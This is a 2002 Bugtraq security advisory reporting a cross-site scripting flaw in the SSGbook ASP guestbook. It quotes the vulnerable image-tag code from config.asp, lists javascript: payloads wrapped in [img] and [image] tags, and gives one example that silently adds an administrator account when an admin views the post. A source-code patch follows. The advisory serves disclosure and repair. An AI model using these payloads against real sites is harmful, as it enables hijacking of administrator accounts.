Home page logo
/

bugtraq logo Bugtraq mailing list archives

SSGbook (ASP)
From: "Frog Man" <leseulfrog () hotmail com>
Date: Tue, 08 Oct 2002 19:31:54 +0200

Informations :
°°°°°°°°°°°°°°
Product : SSGbook
Langage : ASP
Tested version : 1
Website : http://www.script-shed.com
Problem : Cross Site Scripting

PHP Code / location :
°°°°°°°°°°°°°°°°°°°°°
----------------- config.asp ----------------------
fString = doCode(fString, "[img]","[/img]","<img src=""",""" border=0>")
fString = doCode(fString, "[image]","[/image]","<img src=""",""" border=0>")
fString = doCode(fString, "[img=right]","[/img=right]","<img align=right src=""",""" id=right border=0>") fString = doCode(fString, "[image=right]","[/image=right]","<img align=right src=""",""" id=right border=0>") fString = doCode(fString, "[img=left]","[/img=left]","<img align=left src=""",""" id=left border=0>") fString = doCode(fString, "[image=left]","[/image=left]","<img align=left src=""",""" id=left border=0>")
----------------- config.asp ----------------------

Exploit :
°°°°°°°°°
[image]javascript:{SCRIPT}[/image]
[img=right]javascript:{SCRIPT}[/img=right]
[image=right]javascript:{SCRIPT}[/image=right]
[img=left]javascript:{SCRIPT}[/img=left]
[image=left]javascript:{SCRIPT}[/image=left]
[img]javascript:{SCRIPT}[/img]


e.g. :
[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Pom&Password=turlututu";[/image]

Add an admin if an admin read it. Login : Pom, Password : turlututu

Patch :
°°°°°°°
In config.asp :
Add this line :

 strOutput = Replace(strOutput, chr(34), "&quot;")

after

----------------------------------------------
 strOutput = Replace(strOutput, "<", "&lt;")
 strOutput = Replace(strOutput, ">", "&gt;")
----------------------------------------------

And replace this lines :


------------------------------------------------
        fString = doCode(fString, "[img]","[/img]","<img src=""",""" border=0>")
fString = doCode(fString, "[image]","[/image]","<img src=""",""" border=0>") fString = doCode(fString, "[img=right]","[/img=right]","<img align=right src=""",""" id=right border=0>") fString = doCode(fString, "[image=right]","[/image=right]","<img align=right src=""",""" id=right border=0>") fString = doCode(fString, "[img=left]","[/img=left]","<img align=left src=""",""" id=left border=0>") fString = doCode(fString, "[image=left]","[/image=left]","<img align=left src=""",""" id=left border=0>")
------------------------------------------------


by :

------------------------------------------------
fString = doCode(fString, "[img]http://","[/img]",";<img src=""http://","""; border=0>") fString = doCode(fString, "[image]http://","[/image]",";<img src=""http://","""; border=0>") fString = doCode(fString, "[img=right]http://","[/img=right]",";<img align=right src=""http://","""; id=right border=0>") fString = doCode(fString, "[image=right]http://","[/image=right]",";<img align=right src=""http://","""; id=right border=0>") fString = doCode(fString, "[img=left]http://","[/img=left]",";<img align=left src=""http://","""; id=left border=0>") fString = doCode(fString, "[image=left]http://","[/image=left]",";<img align=left src=""http://","""; id=left border=0>")
------------------------------------------------




More details in french :
http://www.frog-man.org/tutos/SSGbook.txt

translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FSSGbook.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m () n


_________________________________________________________________
Discutez en ligne avec vos amis ! http://messenger.msn.fr


  By Date           By Thread  

Current thread:
  • SSGbook (ASP) Frog Man (Oct 08)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault